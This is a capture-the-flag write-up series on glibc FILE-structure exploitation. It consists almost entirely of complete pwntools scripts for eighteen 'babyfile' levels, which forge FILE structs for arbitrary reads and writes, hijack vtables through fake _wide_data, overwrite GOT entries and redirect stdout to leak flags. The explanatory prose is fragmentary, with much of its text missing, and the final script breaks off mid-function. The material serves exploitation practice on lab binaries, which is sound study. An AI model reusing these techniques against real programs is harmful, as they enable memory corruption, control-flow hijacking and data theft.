┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
Write-ups: Software Exploitation (File Struct Exploits)
series (Completed)
~ CuB3y0nd
# 

Finally pwn 
 FSOP  IoT~~
~~

退 LOL

# Level 1

## Information

- Category: Pwn

## Description

> Harness the power of FILE structs to arbitrarily read data.

## Write-up

~~~~ chall  flag  bss  PIE FILE 
 pwntools 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level1"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    flag = 0x4040E0

    fp = FileStructure()
    payload = flat(fp.write(flag, 0x64))

    target.send(payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 2

## Information

- Category: Pwn

## Description

> Harness the power of FILE structs to arbitrarily write data to bypass a securi
ty check.

## Write-up



## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level2"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    authenticated = 0x4041F8

    fp = FileStructure()
    payload = flat(fp.read(authenticated, 0x101))

    target.success(fp)

    target.send(payload)
    target.sendline(b"A" * 0xFF)

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 3

## Information

- Category: Pwn

## Description

> Harness the power of FILE structs to redirect data output.

## Write-up



## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level3"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.send(b"x01")

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 4

## Information

- Category: Pwn

## Description

> Harness the power of FILE structs to arbitrarily read/write data to hijack con
trol flow.

## Write-up

File Structure 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level4"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.recvuntil(b"stored at: ")
    ret = int(target.recvline().strip(), 16)

    fp = FileStructure()
    payload = flat(fp.read(ret, 0x101))

    target.send(payload)
    target.send(flat(elf.sym["win"]).ljust(0x101, b"x00"))

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 5

## Information

- Category: Pwn

## Description

> Abuse built-in FILE structs to leak sensitive information.

## Write-up

 stdout  `puts` 使 stdout 
 write  flag  `0xfbad1800` 


```c
int
_IO_puts (const char *str)
{
  int result = EOF;
  size_t len = strlen (str);
  _IO_acquire_lock (stdout);

  if ((_IO_vtable_offset (stdout) != 0
       || _IO_fwide (stdout, -1) == -1)
      && _IO_sputn (stdout, str, len) == len
      && _IO_putc_unlocked ('n', stdout) != EOF)
    result = MIN (INT_MAX, len + 1);

  _IO_release_lock (stdout);
  return result;
}

weak_alias (_IO_puts, puts)
libc_hidden_def (_IO_puts)
```

`0x1000`  fileno `0x0800` 

```c
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING      0x1000
```

 write  `_IO_write_base` 
使

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level5"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    flag = 0x4040C0

    fp = FileStructure()
    fp.flags = 0xFBAD1800
    fp._IO_write_base = flag
    fp._IO_write_ptr = flag + 0x64
    fp._IO_write_end = flag + 0x64
    payload = flat(fp.struntil("_IO_write_end"))

    raw_input("DEBUG")
    target.send(payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 6

## Information

- Category: Pwn

## Description

> Abuse built-in FILE structs to bypass a security check.

## Write-up

 stdout 使 puts  stdio 使 scanf 

`scanf`  `_IO_NO_WRITES`  `_IO_buf_base`  `_IO_buf_end` 
 read 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level6"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    authenticated = 0x4041F8

    fp = FileStructure()
    fp.flags = 0xFBAD0008
    fp._IO_buf_base = authenticated
    fp._IO_buf_end = authenticated + 0x8
    payload = flat(fp.struntil("_IO_buf_end"))

    raw_input("DEBUG")
    target.send(payload)
    target.sendlineafter(b"Please log in.", b"x01")

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 7

## Information

- Category: Pwn

## Description

> Create a fake _wide_data struct to hijack control of the virtual function tabl
e of a FILE struct.

## Write-up

 vtable :D  description  vtable 


 `fwrite` 使 FILE structure 
 `vtable + 0x38`  `__GI__IO_wfile_overflow`  `__GI__IO_wfi
le_overflow`  `_IO_wdoallocbuf` `fwrite`  
FILE structure  `_wide_data + 0x68`  `_wide_data` `+0x
68`  `win` 

 vtable 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level7"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.recvuntil(b"libc is: ")
    libc = int(target.recvline().strip(), 16) - 0x84420
    __GI__IO_wfile_overflow = libc + 0x1E8DC0

    target.recvuntil(b"located at: ")
    buf = int(target.recvline().strip(), 16)

    target.success(f"libc: {hex(libc)}")
    target.success(f"buf: {hex(buf)}")

    payload = flat(
        {
            0x68: elf.sym["win"],
            0xE0: buf,
        },
        filler=b"x00",
    )
    raw_input("DEBUG")
    target.sendafter(b"Please enter your name.n", payload)

    fp = FileStructure()
    fp._lock = buf
    fp._wide_data = buf
    fp.vtable = __GI__IO_wfile_overflow

    raw_input("DEBUG")
    target.sendafter(
        b"Now reading from stdin directly to the FILE struct.n", bytes(fp)
    )

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 8

## Information

- Category: Pwn

## Description

> Create a fake _wide_data struct to hijack control of the virtual function tabl
e of a FILE struct.

## Write-up

 overlapping 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level8"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.recvuntil(b"libc is: ")
    libc = int(target.recvline().strip(), 16) - 0x84420
    __GI__IO_wfile_overflow = libc + 0x1E8DC0

    target.recvuntil(b"writing to: ")
    buf = int(target.recvline().strip(), 16)

    target.success(f"libc: {hex(libc)}")
    target.success(f"buf: {hex(buf)}")

    fp = FileStructure()
    fp._lock = buf
    fp._wide_data = buf
    fp.vtable = __GI__IO_wfile_overflow
    fp.chain = elf.sym["win"]

    payload = flat(
        bytes(fp),
        buf,
    )

    raw_input("DEBUG")
    target.send(payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 9

## Information

- Category: Pwn

## Description

> Create a fake _wide_data struct to hijack control of the virtual function tabl
e of a built-in FILE struct.

## Write-up

 flag  flag 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level9"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.recvuntil(b"libc is: ")
    libc = int(target.recvline().strip(), 16) - 0x84420
    __GI__IO_wfile_overflow = libc + 0x1E8DC0

    target.recvuntil(b"_IO_read_ptr")
    buf = int(target.recvline().strip()[-14:], 16) - 0x83

    target.success(f"libc: {hex(libc)}")
    target.success(f"buf: {hex(buf)}")

    fp = FileStructure()
    fp._lock = buf
    fp._wide_data = buf
    fp.vtable = __GI__IO_wfile_overflow
    fp.chain = elf.sym["authenticate"] + 0x25

    payload = flat(
        bytes(fp),
        buf,
    )
    raw_input("DEBUG")
    target.send(payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 10

## Information

- Category: Pwn

## Description

> Create a fake _wide_data struct to hijack control of the virtual function tabl
e of a FILE struct.

## Write-up



## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level10"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.recvuntil(b"libc is: ")
    libc = int(target.recvline().strip(), 16) - 0x84420
    __GI__IO_wfile_overflow = libc + 0x1E8DC0

    target.recvuntil(b"writing to: ")
    buf = int(target.recvline().strip(), 16)

    target.success(f"libc: {hex(libc)}")
    target.success(f"buf: {hex(buf)}")

    fp = FileStructure()
    fp.flags = b"password"
    fp._lock = buf + 0xE8
    fp._wide_data = buf
    fp.vtable = __GI__IO_wfile_overflow
    fp.chain = elf.sym["authenticate"]

    payload = flat(
        bytes(fp),
        buf,
    )
    raw_input("DEBUG")
    target.send(payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 11

## Information

- Category: Pwn

## Description

> Apply FILE struct exploits to leak a secret value.

## Write-up

……

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level11"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def new_note(size):
    target.sendlineafter(b"> ", b"new_note")
    target.sendlineafter(b"> ", str(size).encode())


def del_note():
    target.sendlineafter(b"> ", b"del_note")


def write_note(content):
    target.sendlineafter(b"> ", b"write_note")
    target.send(content)


def read_note():
    target.sendlineafter(b"> ", b"read_note")


def open_file():
    target.sendlineafter(b"> ", b"open_file")


def close_file():
    target.sendlineafter(b"> ", b"close_file")


def write_file():
    target.sendlineafter(b"> ", b"write_file")


def write_fp(payload):
    target.sendlineafter(b"> ", b"write_fp")
    target.send(payload)


def quit():
    target.sendlineafter(b"> ", b"quit")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    secret = 0x404100

    new_note(0x10)
    open_file()

    fp = FileStructure()
    fp.flags = 0x800
    fp._IO_read_end = secret
    fp._IO_write_base = secret
    fp._IO_write_ptr = secret + 0x100
    fp.fileno = 1
    payload = flat(fp.struntil("_flags2"))

    raw_input("DEBUG")
    write_fp(payload)
    write_file()
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 12

## Information

- Category: Pwn

## Description

> Apply FILE struct exploits to write data to bypass a security check.

## Write-up



## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level12"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def new_note(idx, size):
    target.sendlineafter(b"> ", b"new_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.sendlineafter(b"> ", str(size).encode())


def del_note(idx):
    target.sendlineafter(b"> ", b"del_note")
    target.sendlineafter(b"> ", str(idx).encode())


def write_note(idx, content):
    target.sendlineafter(b"> ", b"write_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.send(content)


def read_note(idx, content):
    target.sendlineafter(b"> ", b"read_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.send(content)


def open_file():
    target.sendlineafter(b"> ", b"open_file")


def close_file():
    target.sendlineafter(b"> ", b"close_file")


def read_file(idx):
    target.sendlineafter(b"> ", b"read_file")
    target.sendlineafter(b"> ", str(idx).encode())


def write_fp(payload):
    target.sendlineafter(b"> ", b"write_fp")
    target.send(payload)


def auth():
    target.sendlineafter(b"> ", b"authenticate")


def quit():
    target.sendlineafter(b"> ", b"quit")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.recvuntil(b"located at: ")
    elf.address = int(target.recvline().strip(), 16) - 0x205D
    authenticate = elf.address + 0x5170

    target.success(f"pie: {hex(elf.address)}")
    target.success(f"authenticate: {hex(authenticate)}")

    open_file()

    fp = FileStructure()
    fp.read(authenticate, 0x10)
    payload = flat(fp.struntil("_IO_save_base"))

    # raw_input("DEBUG")
    write_fp(payload)
    new_note(0, 0x8)
    raw_input("DEBUG")
    read_file(0)
    auth()
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 13

## Information

- Category: Pwn

## Description

> Apply FILE struct exploits to write data and hijack control flow.

## Write-up

> Level 12: When using close_file, be cautious of double free or invalid pointer
 issues.<br />
> Level 13: To resolve issues with stdin breaking after using close_file, consid
er alternative methods to get an arbitrary read without using close_file.<br />
> Level 13: One approach is to perform a leak using write_file and an overwrite 
using read_file.

 Level 12  Level 13  o_O

~~ `fclose` ……~~

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level13"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def new_note(idx, size):
    target.sendlineafter(b"> ", b"new_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.sendlineafter(b"> ", str(size).encode())


def del_note(idx):
    target.sendlineafter(b"> ", b"del_note")
    target.sendlineafter(b"> ", str(idx).encode())


def write_note(idx, content):
    target.sendlineafter(b"> ", b"write_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.send(content)


def read_note(idx, content):
    target.sendlineafter(b"> ", b"read_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.send(content)


def open_file():
    target.sendlineafter(b"> ", b"open_file")


def close_file():
    target.sendlineafter(b"> ", b"close_file")


def write_file(idx):
    target.sendlineafter(b"> ", b"write_file")
    target.sendlineafter(b"> ", str(idx).encode())


def read_file(idx):
    target.sendlineafter(b"> ", b"read_file")
    target.sendlineafter(b"> ", str(idx).encode())


def write_fp(payload):
    target.sendlineafter(b"> ", b"write_fp")
    target.send(payload)


def quit():
    target.sendlineafter(b"> ", b"quit")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.recvuntil(b"is: ")
    stack = int(target.recvline().strip(), 16)

    target.success(f"stack: {hex(stack)}")

    open_file()

    fp = FileStructure()
    fp.write(stack - 0x50, 0x100)
    payload = flat(fp.struntil("_flags2"))

    write_fp(payload)

    new_note(0, 0x10)
    write_file(0)
    target.recvlines(4)
    fp_addr = int.from_bytes(target.recv(0x8), "little") - 0x1E0

    target.recv(0x68)
    libc = int.from_bytes(target.recv(0x8), "little") - 0x1ED6A0
    __GI__IO_wfile_overflow = libc + 0x1E8DC0

    target.recv(0x48)
    elf.address = int.from_bytes(target.recv(0x8), "little") - 0x2200

    target.success(f"libc: {hex(libc)}")
    target.success(f"pie: {hex(elf.address)}")
    target.success(f"fp: {hex(fp_addr)}")

    fp = FileStructure()
    fp._lock = fp_addr
    fp._wide_data = fp_addr
    fp.vtable = __GI__IO_wfile_overflow
    fp.chain = elf.sym["win"]
    payload = flat(
        bytes(fp),
        fp_addr,
    )

    write_fp(payload)

    # raw_input("DEBUG")
    write_file(0)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 14

## Information

- Category: Pwn

## Description

> Apply FILE struct exploits to write data to hijack control flow.. again?

## Write-up

 `fread`$1/16$ 
 `close_file` 
……

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level14"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def new_note(idx, size):
    target.sendlineafter(b"> ", b"new_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.sendlineafter(b"> ", str(size).encode())


def del_note(idx):
    target.sendlineafter(b"> ", b"del_note")
    target.sendlineafter(b"> ", str(idx).encode())


def write_note(idx, content):
    target.sendlineafter(b"> ", b"write_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.send(content)


def read_note(idx, content):
    target.sendlineafter(b"> ", b"read_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.send(content)


def open_file():
    target.sendlineafter(b"> ", b"open_file")


def close_file():
    target.sendlineafter(b"> ", b"close_file")


def read_file(idx):
    target.sendlineafter(b"> ", b"read_file")
    target.sendlineafter(b"> ", str(idx).encode())


def write_fp(payload):
    target.sendlineafter(b"> ", b"write_fp")
    target.send(payload)


def quit():
    target.sendlineafter(b"> ", b"quit")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.recvuntil(b"is: ")
    stack = int(target.recvline().strip(), 16)
    ret = stack + 0x98

    target.success(f"stack: {hex(stack)}")

    open_file()

    fp = FileStructure()
    fp.read(ret, 0x3)
    payload = flat(fp.struntil("_flags2"))

    write_fp(payload)

    new_note(0, 0x2)
    # raw_input("DEBUG")
    read_file(0)

    payload = flat(
        b"xc9x03",
    )
    target.send(payload)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 15

## Information

- Category: Pwn

## Description

> Apply FILE struct exploits to overwrite a GOT entry.

## Write-up

 GOT 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level15"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def new_note(idx, size):
    target.sendlineafter(b"> ", b"new_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.sendlineafter(b"> ", str(size).encode())


def del_note(idx):
    target.sendlineafter(b"> ", b"del_note")
    target.sendlineafter(b"> ", str(idx).encode())


def write_note(idx, content):
    target.sendlineafter(b"> ", b"write_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.send(content)


def read_note(idx, content):
    target.sendlineafter(b"> ", b"read_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.send(content)


def open_file():
    target.sendlineafter(b"> ", b"open_file")


def close_file():
    target.sendlineafter(b"> ", b"close_file")


def read_file(idx):
    target.sendlineafter(b"> ", b"read_file")
    target.sendlineafter(b"> ", str(idx).encode())


def write_fp(payload):
    target.sendlineafter(b"> ", b"write_fp")
    target.send(payload)


def quit():
    target.sendlineafter(b"> ", b"quit")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    open_file()

    fp = FileStructure()
    fp.read(elf.got["printf"], 0x9)
    payload = flat(fp.struntil("_flags2"))

    write_fp(payload)

    new_note(0, 0x8)
    # raw_input("DEBUG")
    read_file(0)

    payload = flat(
        elf.sym["win"],
    )
    target.send(payload)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 16

## Information

- Category: Pwn

## Description

> Apply FILE struct exploits to overwrite a built-in FILE struct and print the f
lag.

## Write-up

 libc stdout使 `fread`  stdin  stdout  std
out 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level16"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def new_note(idx, size):
    target.sendlineafter(b"> ", b"new_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.sendlineafter(b"> ", str(size).encode())


def del_note(idx):
    target.sendlineafter(b"> ", b"del_note")
    target.sendlineafter(b"> ", str(idx).encode())


def write_note(idx, content):
    target.sendlineafter(b"> ", b"write_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.send(content)


def read_note(idx, content):
    target.sendlineafter(b"> ", b"read_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.send(content)


def open_file():
    target.sendlineafter(b"> ", b"open_file")


def close_file():
    target.sendlineafter(b"> ", b"close_file")


def read_file(idx):
    target.sendlineafter(b"> ", b"read_file")
    target.sendlineafter(b"> ", str(idx).encode())


def write_fp(payload):
    target.sendlineafter(b"> ", b"write_fp")
    target.send(payload)


def quit():
    target.sendlineafter(b"> ", b"quit")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    secret = 0x405100

    target.recvuntil(b"is: ")
    libc.address = int(target.recvline().strip(), 16) - 0x84420
    stdout = libc.sym["_IO_2_1_stdout_"]

    target.success(f"libc: {hex(libc.address)}")
    target.success(f"stdout: {hex(stdout)}")

    open_file()

    fp = FileStructure()
    fp.read(stdout, 0x78)

    payload = flat(fp.struntil("_flags2"))

    write_fp(payload)

    stdout = FileStructure()
    stdout.write(secret, 0x100)

    payload = flat(stdout.struntil("_flags2"))

    new_note(0, 0x70)
    raw_input("DEBUG")
    read_file(0)

    raw_input("DEBUG")
    target.send(payload)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 17

## Information

- Category: Pwn

## Description

> Apply FILE struct exploits to read/write data and capture the flag.

## Write-up

 glibc …… `fopen`  `mall
oc`  File Structure buffer `fclose`  `free`  `fopen`  buffer
 `open_file` fopen  fp `close_fi
le`  flag  fopen  close 
 fp  fp  flag  flag 
 buffer  fp  fileno  stdout `write_fil
e`  buffer  fp  fileno  flag

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level17"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def new_note(idx, size):
    target.sendlineafter(b"> ", b"new_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.sendlineafter(b"> ", str(size).encode())


def del_note(idx):
    target.sendlineafter(b"> ", b"del_note")
    target.sendlineafter(b"> ", str(idx).encode())


def write_note(idx, content):
    target.sendlineafter(b"> ", b"write_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.send(content)


def read_note(idx, content):
    target.sendlineafter(b"> ", b"read_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.send(content)


def open_file():
    target.sendlineafter(b"> ", b"open_file")


def close_file():
    target.sendlineafter(b"> ", b"close_file")


def read_file(idx):
    target.sendlineafter(b"> ", b"read_file")
    target.sendlineafter(b"> ", str(idx).encode())


def write_file(idx):
    target.sendlineafter(b"> ", b"write_file")
    target.sendlineafter(b"> ", str(idx).encode())


def write_fp(payload):
    target.sendlineafter(b"> ", b"write_fp")
    target.send(payload)


def open_flag():
    target.sendlineafter(b"> ", b"open_flag")


def quit():
    target.sendlineafter(b"> ", b"quit")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    open_file()
    close_file()
    open_flag()
    new_note(0, 0x100)
    read_file(0)

    fp = FileStructure()
    fp.write(0, 0x100)
    payload = flat(fp.struntil("_flags2"))

    # raw_input("DEBUG")
    write_fp(payload)
    write_file(0)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 18

## Information

- Category: Pwn

## Description

> Apply FILE struct exploits to arbitrarily read/write data or hijack control fl
ow.

## Write-up

 PIE  `fwrite`  fp 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level18"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def new_note(idx, size):
    target.sendlineafter(b"> ", b"new_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.sendlineafter(b"> ", str(size).encode())


def del_note(idx):
    target.sendlineafter(b"> ", b"del_note")
    target.sendlineafter(b"> ", str(idx).encode())


def write_note(idx, content):
    target.sendlineafter(b"> ", b"write_note")
